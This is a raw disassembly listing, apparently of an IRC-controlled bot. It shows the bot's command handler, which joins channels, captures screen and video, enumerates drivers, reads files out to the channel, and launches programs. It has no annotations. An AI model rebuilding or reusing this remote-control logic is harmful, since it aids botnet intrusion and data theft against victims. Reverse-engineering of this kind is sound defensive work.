mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2670C08h test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26B0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 26903FCh jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 2690DCCh push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 26903FCh loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 26903FCh jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 2690DCCh nop push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 26903FCh jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j call near ptr 2690DCCh nop push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax call near ptr 26903FCh nop push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 26903FCh jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 2690DCCh push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 26903FCh jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 26906ADh nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp 